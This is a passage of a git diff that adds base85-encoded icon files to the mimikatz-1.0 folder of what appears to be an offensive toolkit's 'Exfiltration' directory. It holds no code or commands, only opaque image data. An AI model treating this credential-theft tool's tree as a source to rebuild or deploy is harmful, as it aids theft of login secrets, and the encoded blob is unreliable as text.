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 literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_fruit_16.ico b/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_fruit_16.ico new file mode 100644 index 0000000000000000000000000000000000000000..07df30ff8bd591f211e9634efcef12a1f1aeb8c5 GIT binary patch literal 1150 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 literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/commun/icons/regedit_48.ico b/Exfiltration/mimikatz-1.0/commun/icons/regedit_48.ico new file mode 100644 index 0000000000000000000000000000000000000000..6d7f787b5020cbadd0e0b2748be6f13d48b77338 GIT binary patch literal 9662 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 